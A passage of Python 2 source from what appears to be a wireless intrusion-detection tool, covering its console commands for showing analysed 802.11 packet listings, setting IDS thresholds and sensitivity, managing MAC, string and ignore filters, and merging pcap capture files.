                print fcolor.SGreen + "CURRENT THRESHOLD : " + fcolor.BYellow + str(__builtin__.THRESHOLD)
            if usrcmd[1]=="IDS":
                RECON_CMD=1
                SetIDS_Sensitivity("0")
            if usrcmd[1]=="DISPLAY":
                RECON_CMD=1
                HarvestingProcess("1")
                HarvestingProcess("2")
                HarvestingProcess("3")
            if usrcmd[1]=="LIST":
                RECON_CMD=1
                print spacing + fcolor.BBlue + "[SHOW LIST] Function"
                print spacing + fcolor.SWhite + "[SHOW LIST] will display the detailed listing of analysed packets in a catagorised display showing the Source MAC, Dest MAC and number of specific packet types captured."
                print spacing + fcolor.SWhite + "It contain 3 type of listing options. [SHOW LIST1], [SHOW LIST2] & [SHOW LIST3].\n"
                print MSG1 + MSG3 + MSG4 + MSG5 + MSG6  + MSG7 + MSG0 
                print "\n" + spacing + fcolor.BCyan + "Shortcodes Use:"
                print spacing + fcolor.BYellow + "DTA  " + fcolor.SWhite + "- Data".ljust(30) + fcolor.BYellow + "D86  " + fcolor.SWhite + "- Data (Len:86)".ljust(30) + fcolor.BYellow + "D94  " + fcolor.SWhite + "- Data (Len:94)".ljust(30) + fcolor.BYellow + "D98  " + fcolor.SWhite + "- Data (Len:98)".ljust(30) 
                print spacing + fcolor.BYellow + "AUTH " + fcolor.SWhite + "- Authentication".ljust(30) + fcolor.BYellow + "DATH " + fcolor.SWhite + "- Deauthentication".ljust(30)  + fcolor.BYellow + "ASC  " + fcolor.SWhite + "- Association".ljust(30) + fcolor.BYellow + "DASC " + fcolor.SWhite + "- Deassociation".ljust(30) 
                print spacing + fcolor.BYellow + "RASC " + fcolor.SWhite + "- Reassociation".ljust(30) + fcolor.BYellow + "RTS  " + fcolor.SWhite + "- Request-To-Send".ljust(30) + fcolor.BYellow + "CTS  " + fcolor.SWhite + "- Clear-To-Send".ljust(30) + fcolor.BYellow + "ACK  " + fcolor.SWhite + "- Acknowledgement".ljust(30) 
                print spacing + fcolor.BYellow + "WPS  " + fcolor.SWhite + "- WPS".ljust(30) + fcolor.BYellow + "BCN  " + fcolor.SWhite + "- Beacon".ljust(30) + fcolor.BYellow + "RPN  " + fcolor.SWhite + "- Probe Response".ljust(30) + fcolor.BYellow + "RQX  " + fcolor.SWhite + "- Probe Request".ljust(30)
                print spacing + fcolor.BYellow + "NULL " + fcolor.SWhite + "- Null Function".ljust(30) + fcolor.BYellow + "QOS  " + fcolor.SWhite + "- QoS Data".ljust(30)   + fcolor.BYellow + "EPL  " + fcolor.SWhite + "- EAPOL Protocol".ljust(30) + fcolor.BYellow + "WPS  " + fcolor.SWhite + "- EAP Protocol".ljust(30)
            if usrcmd[1]=="LIST1" or usrcmd[1]=="LIST2"  or usrcmd[1]=="LIST3" or usrcmd[1]=="LIST4" or usrcmd[1]=="LIST1A" or usrcmd[1]=="LIST2A"  or usrcmd[1]=="LIST3A" or usrcmd[1]=="LIST4A":
                RECON_CMD=1
                ShowAnalysedListing(usr_resp)
        if len(usrcmd)==2 or len(usrcmd)==3:
            if usrcmd[1]=="DUMP":
                RECON_CMD=1
                if len(usrcmd)>2 and usrcmd[2]=="?":
                    print spacing + fcolor.BBlue + "[SHOW DUMP] Function"
                    print spacing + fcolor.SWhite + "[SHOW DUMP] displays the converted information of the captured/loaded pcap file. The are 2 options of display: [SHOW DUMP1] & [SHOW DUMP2]. Using the [SHOW DUMP] without '?' will launch both SHOW DUMP1 & 2 options."
                    print MSG1 + MSG8 + MSG9 + MSG10 + MSG11 + MSG0
                else:
                    __builtin__.SHOWRESULT=1
                    print spacing + fcolor.BBlue + "Showing Both TCPDump & TShark Converted Packets Dump"
                    print MSG01
                    LineBreak()
                    AnalyseTCPDump("1")
                    LineBreak()
                    AnalyseTShark("1")
                    LineBreak()
                    __builtin__.SHOWRESULT=0
            if usrcmd[1]=="DUMP1" or usrcmd[1]=="DUMP2" or usrcmd[1]=="DUMP1A" or usrcmd[1]=="DUMP2A":
                RECON_CMD=1
                print MSG01
                if usrcmd[1]=="DUMP1" or usrcmd[1]=="DUMP2":
                    __builtin__.SHOWRESULT=1
                if usrcmd[1]=="DUMP1A" or usrcmd[1]=="DUMP2A":
                    __builtin__.SHOWRESULT=2
                if usrcmd[1]=="DUMP1" or usrcmd[1]=="DUMP1A":
                    AnalyseTCPDump("1")
                if usrcmd[1]=="DUMP2" or usrcmd[1]=="DUMP2A":
                    AnalyseTShark("1")
                LineBreak()
                __builtin__.SHOWRESULT=0
            if usrcmd[1]=="FILTER":
                RECON_CMD=1
                if len(usrcmd)>2 and usrcmd[2]=="?":
                    print spacing + fcolor.BBlue + "[SHOW FILTER] Function"
                    print spacing + fcolor.SWhite + "[SHOW FILTER] display the 3 filter criterias that were set. These 3 filter criteria are [MAC] address, [CONTAIN] string and [IGNORE] type filtering."
                    print MSG1 + MSG12 + MSG13 + "\n" + MSG02
                else:
                    if len(__builtin__.ANALYSIS_SEARCH)==0 and len(__builtin__.ANALYSIS_IGNORE)==0  and len(__builtin__.ANALYSIS_MAC)==0:
                        print fcolor.BRed + spacing + "No filtering options found."
                        print  MSG02
                    else:
                        print fcolor.BBlue + spacing + "List of Filtering Criteria"
                        DisplayAnalysisFilters()
                        print "\n" + MSG02
    if usrcmd[0]=="ANALYZER" or usrcmd[0]=="ANALYZER2" or usrcmd[0]=="ANALYZER3":
        x=0;DisplayCt=0
        tmpANALYZER=[]
        RECON_CMD=1
        print spacing + fcolor.BBlue + "[ANALYZER] - For Advanced User"
        print spacing + fcolor.SWhite + "Analyzer is use to display those analyzed packets and list of those MAC addresses with frame type hits the threshold limit. This will be subsequently use to add new detection much easier. Using [ANALYZER2] will filter those match in MAC Filter List and ignore [BEACON] & [PROBE] and [ANALYZER3] will ignore only [BEACON] & [PROBE]."
        print fcolor.BWhite + "\nSN   " + fcolor.BGreen + "Source MAC".ljust(19) + fcolor.BPink + "Destination MAC".ljust(19) + fcolor.BWhite + "BSSID".ljust(19) + fcolor.BYellow + "Protocol".ljust(10) + fcolor.BBlue + "Frame Type".ljust(20) + fcolor.BGreen + "LEN".ljust(8) + fcolor.BCyan + "Flags".ljust(12) + fcolor.BRed + "Counts"
        while x<len(__builtin__.List_ANALYZER):
            tmpANALYZER=__builtin__.List_ANALYZER[x].split("\t")
            if int(tmpANALYZER[7])>=int(__builtin__.THRESHOLD):
                if usrcmd[0]=="ANALYZER":
                    ToDisplay=1
                if usrcmd[0]=="ANALYZER2" or usrcmd[0]=="ANALYZER3":
                    ToDisplay=0
                    if tmpANALYZER[4]!="BEACON" and str(tmpANALYZER[4]).find("PROBE")==-1:
                        ToDisplay=1
                        if usrcmd[0]=="ANALYZER2":
                            ToDisplay=0
                            if len(__builtin__.ANALYSIS_MAC)>0:
                                ToDisplay=0
                                yc=0
                                while yc < len(__builtin__.ANALYSIS_MAC):
                                    tmpsearch=str(__builtin__.ANALYSIS_MAC[yc]).upper()
                                    if str(tmpANALYZER[0]).find(tmpsearch)!=-1 or str(tmpANALYZER[1]).find(tmpsearch)!=-1 or str(tmpANALYZER[2]).find(tmpsearch)!=-1:
                                        ToDisplay=1
                                        yc=len(__builtin__.ANALYSIS_MAC)
                                    else:
                                        ToDisplay=0
                                    yc += 1
                            else:
                                ToDisplay=1
 
                if ToDisplay==1:
                    DisplayCt += 1
                    print fcolor.SWhite + str(DisplayCt).ljust(5) + fcolor.SGreen + str(tmpANALYZER[0]).ljust(19) + fcolor.SPink + str(tmpANALYZER[1]).ljust(19) + fcolor.SWhite + str(tmpANALYZER[2]).ljust(19) + "" + fcolor.SYellow + str(tmpANALYZER[3]).ljust(10) + fcolor.SBlue + str(tmpANALYZER[4]).ljust(20) + fcolor.SGreen + str(tmpANALYZER[5]).ljust(8) + fcolor.SCyan + str(tmpANALYZER[6]).ljust(12) + fcolor.SRed + str(tmpANALYZER[7])
            x=x+1
        print fcolor.SGreen + "\nFound : " + fcolor.BYellow + str(DisplayCt).ljust(5) + fcolor.SGreen + "Total : " + fcolor.SWhite + str(x)
        if usrcmd[0]=="ANALYZER2":
            DisplayAnalysisMACFilter("")
         
    if usrcmd[0]=="SET":
        MSG1 =spacing + fcolor.BWhite + "Examples :\n"
        MSG2 =spacing + fcolor.SWhite + "          SET ?\t\t\t" + fcolor.SGreen + " - This help screen\n"
        MSG3 =spacing + fcolor.SWhite + "          SET THRESHOLD <num>\t" + fcolor.SGreen + " - Set default IDS Threshold - Current : " + str(__builtin__.THRESHOLD) + " [Related - SHOW THRESHOLD]\n"
        MSG4 =spacing + fcolor.SWhite + "          SET IDS\t\t" + fcolor.SGreen + " - Set IDS Sensitivity. [Related - SHOW IDS, IDS]\n"
        MSG5 =spacing + fcolor.SWhite + "          SET IDS 4\t\t" + fcolor.SGreen + " - Set IDS Sensitivity Option number 4 \n"
        if len(usrcmd)==1 or usrcmd[1]=="?" or len(usrcmd)==2:
            RECON_CMD=1
            print spacing + fcolor.BBlue  + "[SET] Function"
            print spacing + fcolor.SWhite + "[SET] is use with combination of other command for various configuration."
            print MSG1 + MSG2 + MSG3 + MSG4 + MSG5 
        if len(usrcmd)>=2:
            if usrcmd[1]=="THRESHOLD":
                if len(usrcmd)==3 and str(usrcmd[2]).isdigit()==True:
                    RECON_CMD=1
                    __builtin__.THRESHOLD=str(usrcmd[2])
                    print fcolor.SGreen + "THRESHOLD : " + fcolor.BYellow + str(__builtin__.THRESHOLD)
            if usrcmd[1]=="IDS":
                RECON_CMD=1
                if len(usrcmd)==3 and str(usrcmd[2]).isdigit()==True:
                    if int(usrcmd[2])>0 and int(usrcmd[2])<5:
                        SetIDS_Sensitivity(usrcmd[2])
                    else:
                        print fcolor.BRed + "IDS Sensitivity Setting is between range 1 to 4 !!"
                else:
                    SetIDS_Sensitivity("")
    if usrcmd[0]=="FILTER":
        MSG1 =spacing + fcolor.BWhite + "Examples :\n"
        MSG2 =spacing + fcolor.SWhite + "          FILTER ?\t\t\t" + fcolor.SGreen + " - This help screen\n"
        MSG3 =spacing + fcolor.SWhite + "          FILTER MAC ?\t\t\t" + fcolor.SGreen + " - Help screen for FILTER MAC\n"
        MSG4 =spacing + fcolor.SWhite + "          FILTER MAC 00:01:02:03:04:05\t" + fcolor.SGreen + " - Adding the specified MAC to filtering list\n"
        MSG5 =spacing + fcolor.SWhite + "          FILTER MAC - 00:01:02:03:04:05" + fcolor.SGreen + " - Removing the specified MAC from the list\n"
        MSG6 =spacing + fcolor.SWhite + "          FILTER MAC -\t\t\t" + fcolor.SGreen + " - Removing all MAC Filter\n"
        MSG7 =spacing + fcolor.SWhite + "          FILTER CONTAIN ?\t\t" + fcolor.SGreen + " - Help screen for FILTER CONTAIN\n"
        MSG8 =spacing + fcolor.SWhite + "          FILTER CONTAIN AUTHENTICATION\t" + fcolor.SGreen + " - Adding the specified String to filtering list\n"
        MSG9 =spacing + fcolor.SWhite + "          FILTER CONTAIN - DEAUTH\t" + fcolor.SGreen + " - Removing the specified String from the list\n"
        MSG10=spacing + fcolor.SWhite + "          FILTER CONTAIN -\t\t" + fcolor.SGreen + " - Removing all string found the the CONTAIN Filtering list\n"
        MSG11=spacing + fcolor.SWhite + "          FILTER IGNORE ?\t\t" + fcolor.SGreen + " - Help screen for FILTER IGNORE\n"
        MSG12=spacing + fcolor.SWhite + "          FILTER IGNORE PROBE\t\t" + fcolor.SGreen + " - Adding the specified string to ignored filter list\n"
        MSG13=spacing + fcolor.SWhite + "          FILTER IGNORE - PROBE\t\t" + fcolor.SGreen + " - Removing the specified string from ignored filter list\n"
        MSG14=spacing + fcolor.SWhite + "          FILTER IGNORE -\t\t" + fcolor.SGreen + " - Removing all string found the the IGNORE Filtering list\n"
        MSG15=spacing + fcolor.SWhite + "          FILTER IGNORE *\t\t" + fcolor.SGreen + " - Adding Probe Request/Response, Beacon, Acknowledgement to the IGNORE list\n"
        MSG16=spacing + fcolor.SWhite + "          FILTER IGNORE -*\t\t" + fcolor.SGreen + " - Removing Probe Request/Response, Beacon, Acknowledgement from the IGNORE list\n"
        MSG17 ="\n" + spacing + fcolor.BWhite + "Other Related :\n"
        MSG18 =spacing + fcolor.SWhite + "          SHOW FILTER\t\t\t" + fcolor.SGreen + " - Show the current filter list\n"
        MSG19 =spacing + fcolor.SWhite + "          LOAD FILTER\t\t\t" + fcolor.SGreen + " - Load configuration from file\n"
        MSG20 =spacing + fcolor.SWhite + "          SAVE FILTER\t\t\t" + fcolor.SGreen + " - Save current configuration to file\n"
        MSG21 =spacing + fcolor.SWhite + "          CLEAR FILTER\t\t\t" + fcolor.SGreen + " - Clear all filters list\n"
        MSG0 =spacing + fcolor.SGreen + "Type [Filter ?] for usage of Filter and other filter related functions."
        if len(usrcmd)==1 or usrcmd[1]=="?":
            RECON_CMD=1
            print spacing + fcolor.BBlue  + "[FILTER] Function"
            print spacing + fcolor.SWhite + "[Filter] is use with combination of other command for setting/removing filter criteria with will affect on 'SHOW LIST2', 'SHOW DUMP|1|2'."
            print MSG1 + MSG2 + MSG3 + MSG4 + MSG5 + MSG6 + MSG7 + MSG8 + MSG9 + MSG10 + MSG11 + MSG12 + MSG13 + MSG14 + MSG15 + MSG16 + MSG17 + MSG18 + MSG19+ MSG20+ MSG21
            if len(__builtin__.ANALYSIS_SEARCH)==0 and len(__builtin__.ANALYSIS_IGNORE)==0  and len(__builtin__.ANALYSIS_MAC)==0:
                print fcolor.BRed + spacing + "No filtering criteria found."
            else:
                print fcolor.BCyan + spacing + "Current Filtering Criteria"
                DisplayAnalysisFilters()
        if len(usrcmd)>=2:
            if usrcmd[1]=="MAC":
               RECON_CMD=1
               MACHELP=""
               if usrcmd[1]=="MAC" and len(usrcmd)==2:
                   MACHELP=1
               if len(usrcmd)>2 and usrcmd[2]=="?":
                   MACHELP=1
               if MACHELP==1:
                   print spacing + fcolor.BBlue  + "[FILTER MAC] Function"
                   print spacing + fcolor.SWhite + "[FILTER MAC] with the combination of other command allow user to add/remove/clear MAC address of the [MAC] filtering list. With the MAC specified in the MAC list, analysed result will only display those MAC address found on the list. Without any MAC address on the list, application will list all result."
                   print MSG1 + MSG2 + MSG3 + MSG4 + MSG5 + MSG6
                   print ""
                   if len(__builtin__.ANALYSIS_MAC)==0:
                       print fcolor.BRed + spacing + "No MAC Filter Found."
                   else:
                       print fcolor.BCyan + spacing + "Current MAC Filtering Criteria"
                       DisplayAnalysisMACFilter("")
               else:
                   ACCEPTEDMAC=""
                   REJECTEDMAC=""
                   if usrcmd[2]=="-":
                       if len(usrcmd)==3:
                           __builtin__.ANALYSIS_MAC=[]
                           print spacing + fcolor.BBlue + "MAC Filtering Cleared."
                           print MSG0
                       else:
                           yc=3
                           while yc<len(usrcmd):
                               xc=0
                               REMOV=""
                               while xc<len(__builtin__.ANALYSIS_MAC):
                                   if __builtin__.ANALYSIS_MAC[xc]==usrcmd[yc]:
                                       __builtin__.ANALYSIS_MAC.remove (usrcmd[yc])
                                       ACCEPTEDMAC=ACCEPTEDMAC + (usrcmd[yc]) + " / "
                                       REMOV=1
                                   xc +=1
                               if REMOV=="":
                                   REJECTEDMAC=REJECTEDMAC+ (usrcmd[yc]) + " / "
                               yc +=1
                           if ACCEPTEDMAC!="":
                               print spacing + fcolor.BBlue + "MAC Address Removed: " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                           if REJECTEDMAC!="":
                               print spacing + fcolor.SRed + "MAC Not Removed    : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                           DisplayAnalysisMACFilter("")
                           print "\n" + MSG0
                   else:
                       yc=2
                       while yc<len(usrcmd):
                           if len(usrcmd[yc])<18 and IsHex(usrcmd[yc])==True:
                               __builtin__.ANALYSIS_MAC.append (usrcmd[yc])
                               ACCEPTEDMAC=ACCEPTEDMAC + (usrcmd[yc]) + " / "
                           else:
                               REJECTEDMAC=REJECTEDMAC+ (usrcmd[yc]) + " / "
                           yc += 1
                       if ACCEPTEDMAC!="":
                           print spacing + fcolor.BBlue + "MAC Address Added  : " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                       if REJECTEDMAC!="":
                           print spacing + fcolor.SRed + "MAC Not Added      : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                       DisplayAnalysisMACFilter("")
                       print "\n" + MSG0
            if usrcmd[1]=="CONTAIN":
               RECON_CMD=1
               MACHELP=""
               if usrcmd[1]=="CONTAIN" and len(usrcmd)==2:
                   MACHELP=1
               if len(usrcmd)>2 and usrcmd[2]=="?":
                   MACHELP=1
               if MACHELP==1:
                   print spacing + fcolor.BBlue  + "[FILTER CONTAIN] Function"
                   print spacing + fcolor.SWhite + "[FILTER CONTAIN] with the combination of other command allow user to add/remove/clear string as filtering criteria. With the string specified in the CONTAIN list, analysed result will only display those string found on the list. Without any string on the list, application will list all result."
                   print MSG1 + MSG7 + MSG8 + MSG9 + MSG10
                   print ""
                   if len(__builtin__.ANALYSIS_SEARCH)==0:
                       print fcolor.BRed + spacing + "No String Filter Found."
                   else:
                       print fcolor.BCyan + spacing + "Current String Filtering Criteria"
                       DisplayAnalysisSearchFilter("")
               else:
                   ACCEPTEDMAC=""
                   REJECTEDMAC=""
                   if usrcmd[2]=="-":
                       if len(usrcmd)==3:
                           __builtin__.ANALYSIS_SEARCH=[]
                           print spacing + fcolor.BBlue + "String Filtering Cleared."
                           print MSG0
                       else:
                           yc=3
                           while yc<len(usrcmd):
                               xc=0
                               REMOV=""
                               while xc<len(__builtin__.ANALYSIS_SEARCH):
                                   if __builtin__.ANALYSIS_SEARCH[xc]==usrcmd[yc]:
                                       __builtin__.ANALYSIS_SEARCH.remove (usrcmd[yc])
                                       ACCEPTEDMAC=ACCEPTEDMAC + (usrcmd[yc]) + " / "
                                       REMOV=1
                                   xc +=1
                               if REMOV=="":
                                   REJECTEDMAC=REJECTEDMAC+ (usrcmd[yc]) + " / "
                               yc +=1
                           if ACCEPTEDMAC!="":
                               print spacing + fcolor.BBlue + "String Removed     : " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                           if REJECTEDMAC!="":
                               print spacing + fcolor.SRed + "String Not Removed : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                           DisplayAnalysisSearchFilter("")
                           print "\n" + MSG0
                   else:
                       yc=2
                       while yc<len(usrcmd):
                           if str(__builtin__.ANALYSIS_SEARCH).find(usrcmd[yc])==-1:
                               __builtin__.ANALYSIS_SEARCH.append (usrcmd[yc])
                               ACCEPTEDMAC=ACCEPTEDMAC + (usrcmd[yc]) + " / "
                           else:
                               REJECTEDMAC=REJECTEDMAC+ (usrcmd[yc]) + " / "
                           yc += 1
                       if ACCEPTEDMAC!="":
                           print spacing + fcolor.BBlue + "String Added       : " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                       if REJECTEDMAC!="":
                           print spacing + fcolor.SRed + "String Not Added   : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                       DisplayAnalysisSearchFilter("")
                       print "\n" + MSG0
            if usrcmd[1]=="IGNORE":
               RECON_CMD=1
               MACHELP=""
               if usrcmd[1]=="IGNORE" and len(usrcmd)==2:
                   MACHELP=1
               if len(usrcmd)>2 and usrcmd[2]=="?":
                   MACHELP=1
               if MACHELP==1:
                   print spacing + fcolor.BBlue  + "[FILTER IGNORE] Function"
                   print spacing + fcolor.SWhite + "[FILTER IGNORE] with the combination of other command allow user to add/remove/clear frame type to be ignored. With the criteria specified in the IGNORE list, analysed result will not display any record containing the string on the IGNORE list. Without any string on the list, application will list all result."
                   print MSG1 + MSG11 + MSG12 + MSG13 + MSG14+ MSG15 + MSG16
                   print ""
                   if len(__builtin__.ANALYSIS_IGNORE)==0:
                       print fcolor.BRed + spacing + "No Ignore String Filter Found."
                   else:
                       print fcolor.BCyan + spacing + "Current Ignore Filtering Criteria"
                       DisplayAnalysisIgnoreFilter("")
               else:
                   ACCEPTEDMAC=""
                   REJECTEDMAC=""
                   if usrcmd[2]=="-":
                       if len(usrcmd)==3:
                           __builtin__.ANALYSIS_IGNORE=[]
                           print spacing + fcolor.BBlue + "Ignore Filtering Cleared."
                           print MSG0
                       else:
                           yc=3
                           while yc<len(usrcmd):
                               xc=0
                               REMOV=""
                               while xc<len(__builtin__.ANALYSIS_IGNORE):
                                   if __builtin__.ANALYSIS_IGNORE[xc]==usrcmd[yc]:
                                       __builtin__.ANALYSIS_IGNORE.remove (usrcmd[yc])
                                       ACCEPTEDMAC=ACCEPTEDMAC + (usrcmd[yc]) + " / "
                                       REMOV=1
                                   xc +=1
                               if REMOV=="":
                                   REJECTEDMAC=REJECTEDMAC+ (usrcmd[yc]) + " / "
                               yc +=1
                           if ACCEPTEDMAC!="":
                               print spacing + fcolor.BBlue + "Ignore Removed     : " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                           if REJECTEDMAC!="":
                               print spacing + fcolor.SRed + "Ignore Not Removed : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                           DisplayAnalysisIgnoreFilter("")
                           print "\n" + MSG0
                   else:
                       if usrcmd[2]!="*" and usrcmd[2]!="-*":
                           yc=2
                           while yc<len(usrcmd):
                               xc=0
                               REMOV=""
                               while xc<len(__builtin__.ANALYSIS_IGNORE):
                                   if __builtin__.ANALYSIS_IGNORE[xc]==usrcmd[yc]:
                                       REMOV=1
                                       REJECTEDMAC=REJECTEDMAC+ (usrcmd[yc]) + " / "
                                   xc +=1
                               if REMOV=="":
                                   __builtin__.ANALYSIS_IGNORE.append (usrcmd[yc])
                                   ACCEPTEDMAC=ACCEPTEDMAC+ (usrcmd[yc]) + " / "
                               yc +=1
                           if ACCEPTEDMAC!="":
                               print spacing + fcolor.BBlue + "Ignore String Added: " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                           if REJECTEDMAC!="":
                               print spacing + fcolor.SRed + "Ignore Not Added   : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                           DisplayAnalysisIgnoreFilter("")
                           print "\n" + MSG0
                       else:
                           if usrcmd[2]=="*":
                               yc=0
                               while yc<len(__builtin__.ANALYSIS_TYPE):
                                   ATYPE=__builtin__.ANALYSIS_TYPE[yc]
                                   xc=0
                                   REMOV=""
                                   while xc<len(__builtin__.ANALYSIS_IGNORE):
                                       if __builtin__.ANALYSIS_IGNORE[xc]==ATYPE:
                                           REMOV=1
                                           REJECTEDMAC=REJECTEDMAC+ (ATYPE) + " / "
                                       xc += 1
                                   if REMOV=="":
                                       __builtin__.ANALYSIS_IGNORE.append (ATYPE)
                                       ACCEPTEDMAC=ACCEPTEDMAC + (ATYPE) + " / "
                                   yc +=1
                               if ACCEPTEDMAC!="":
                                   print spacing + fcolor.BBlue + "Ignore String Added: " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                               if REJECTEDMAC!="":
                                   print spacing + fcolor.SRed + "Ignore Not Added   : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                               DisplayAnalysisIgnoreFilter("")
                               print "\n" + MSG0
                           if usrcmd[2]=="-*":
                               yc=0
                               while yc<len(__builtin__.ANALYSIS_TYPE):
                                   ATYPE=__builtin__.ANALYSIS_TYPE[yc]
                                   xc=0
                                   REMOV=""
                                   while xc<len(__builtin__.ANALYSIS_IGNORE):
                                       if __builtin__.ANALYSIS_IGNORE[xc]==ATYPE:
                                           REMOV=1
                                           __builtin__.ANALYSIS_IGNORE.remove (ATYPE)
                                           ACCEPTEDMAC=ACCEPTEDMAC + (ATYPE) + " / "
                                       xc += 1
                                   if REMOV=="":
                                       REJECTEDMAC=REJECTEDMAC + (ATYPE) + " / "
                                   yc +=1
                               if ACCEPTEDMAC!="":
                                   print spacing + fcolor.BBlue + "Ignore Removed     : " + fcolor.BWhite + ACCEPTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BWhite)
                               if REJECTEDMAC!="":
                                   print spacing + fcolor.SRed + "Ignore Not Removed : " + fcolor.BRed + REJECTEDMAC[:-3].replace("/",fcolor.SWhite + "/" + fcolor.BRed)
                               DisplayAnalysisIgnoreFilter("")
                               print "\n" + MSG0
    if usr_resp=="CLEAR FILTER":
        RECON_CMD=1;
        __builtin__.ANALYSIS_SEARCH=[]
        __builtin__.ANALYSIS_IGNORE=[]
        __builtin__.ANALYSIS_MAC=[]
        print fcolor.BBlue + spacing + "All Filters Cleared."
    if usrcmd[0]=="MERGE":
        RECON_CMD=1
        usrcmd=usr_resp.split(" ")
        usrcmd_n=usr_resp_n.split(" ")
        if len(usrcmd)<5 or str(usr_resp).find("-R")==-1 or str(usr_resp).find("-W")==-1:
            print spacing + fcolor.BBlue + "[MERGE] Function"
            print spacing + fcolor.SWhite + "Merge allow user to merge two or more pcap files into one pcap file."
            print spacing + fcolor.BWhite + "Example :"
            print spacing + fcolor.SWhite + "          MERGE -R <read files> -W <output file>\t\t  " + fcolor.SGreen + " - Merge <read files> to <output file>"
            print spacing + fcolor.SWhite + "          MERGE -R ATTACK_2014*.CAP -W ATTACK_2014_JOIN.CAP\t  " + fcolor.SGreen + " - Merge all files beginning with ATTACK_20140415_00 and save to ATTACK_20140415.CAP"
            print spacing + fcolor.SWhite + "          MERGE -R FILE1.CAP FILE2.CAP -W RESULT.CAP\t\t  " + fcolor.SGreen + " - Merge FILE1 & FILE2 and save as RESULT.CAP\n"
            print spacing + fcolor.BWhite + "Notes :"
            print spacing + fcolor.BRed   + "          Do not specified the directory to use.. PCap files will only be use in the following directory"
            print spacing + fcolor.SWhite + "          " + fcolor.BYellow + savedir + fcolor.SWhite + " , " + fcolor.BYellow + mondir + fcolor.SWhite + " , " + fcolor.BYellow + attackdir + "\n"
        else:
            STATUS=""
            READFILES=[]
            READFILES_DISPLAY=""
            FILETOREAD=""
            OUTPUTFILE=""
            DIRUSE=""
            ERR=""
            __builtin__.ExtList= ['pcap','cap']
            if IsProgramExists("mergecap")==False:
               print spacing + fcolor.BRed + "Application [Mergecap] does not exist !!!.. Merging aborted.."
               ERR="1"
               x=len(usrcmd)
            else:
                x=1
            while x<len(usrcmd):
                if usrcmd[x]=="-R":
                    STATUS="READ"
                if usrcmd[x]=="-W":
                    STATUS="WRITE"
                if STATUS=="READ":
                    while x<len(usrcmd) and usrcmd[x]!="-W" and ERR=="":
                        x=x+1
                        FName=usrcmd_n[x]
                        FileExist=0
                        if usrcmd[x]=="-W":
                            STATUS="WRITE"
                        if str(FName).find("*")==-1 and STATUS=="READ":
                            rfile=SearchFileOnDir(FName)
                            if rfile!="":
                                if str(__builtin__.FileExt).upper()==".CAP" or str(__builtin__.FileExt).upper()==".PCAP":
                                    SplitFileDetail(rfile)
                                    DIRUSE=__builtin__.FilePath
                                    __builtin__.lookupdir=DIRUSE
                                    READFILES.append (FName)
                                    READFILES_DISPLAY=READFILES_DISPLAY + str(rfile) + ","
                                    FILETOREAD=FILETOREAD + str(DIRUSE) + str(FName) + " "
                                else:
                                    print spacing + fcolor.BRed + "File specified must be a CAP or PCAP file !!!"
                                    ERR="1"
                            else:
                                ERR="1"
                                DisplayFileNotFound(FName)
                        else:
                             if usrcmd[x]!="-W" and STATUS=="READ":
                                 if usrcmd[x][-4:]==".CAP" or usrcmd[x][-5:]==".PCAP":
                                     if usrcmd[x][-4:]==".CAP":
                                         FFilter=usrcmd_n[x][:-4]
                                     if usrcmd[x][-5:]==".PCAP":
                                         FFilter=usrcmd_n[x][:-5]
                                     FFilter=str(FFilter).replace("*","") + "*"
                                     SearchFiles(attackdir,__builtin__.ExtList,FFilter)
                                     DIRUSE=attackdir
                                     if len(__builtin__.FoundFiles)<0:
                                         DIRUSE=mondir
                                         SearchFiles(mondir,__builtin__.ExtList,FFilter)
                                         if len(__builtin__.FoundFiles)<0:
                                             DIRUSE=savedir
                                             SearchFiles(savedir,__builtin__.ExtList,FFilter)
                                     if len(__builtin__.FoundFiles)>0:
                                         __builtin__.lookupdir=DIRUSE
                                         FILETOREAD=FILETOREAD + str(DIRUSE) + usrcmd_n[x]
                                         SearchFiles(DIRUSE,__builtin__.ExtList,FFilter)
                                         y=0
                                         while y<len(__builtin__.FoundFiles):
                                             SplitFileDetail(__builtin__.FoundFiles[y])
                                             READFILES.append (__builtin__.FoundFiles[y])
                                             y=y+1
                                         READFILES_DISPLAY=ArrangeFileDisplay(__builtin__.FoundFiles)
                                     else:
                                        DisplayFileNotFound(usrcmd_n[x])
                                        ERR=1
                                 else:
                                    print spacing + fcolor.BRed + "File specified must be a CAP or PCAP file !!!"
                                    ERR="1"
                if STATUS=="WRITE":
                    while x<len(usrcmd) and ERR=="" and OUTPUTFILE=="":
                        x=x+1
                        FName=usrcmd_n[x]
                        OUTPUTFILE=str(FName)
                x += 1
            if OUTPUTFILE=="" and ERR=="":
                print spacing + fcolor.BRed + "You did not specified the output file. Type [MERGE] for detail."
                ERR=1
            if str(READFILES).find("'" + OUTPUTFILE + "'")!=-1:
                ERR=1
                print spacing + fcolor.BRed + "The specified output file [ " + fcolor.BYellow + str(OUTPUTFILE) + fcolor.BRed + " ] must not be one of the source file."
            if OUTPUTFILE!="" and ERR=="" and OUTPUTFILE.find("*")!=-1:
                ERR=1
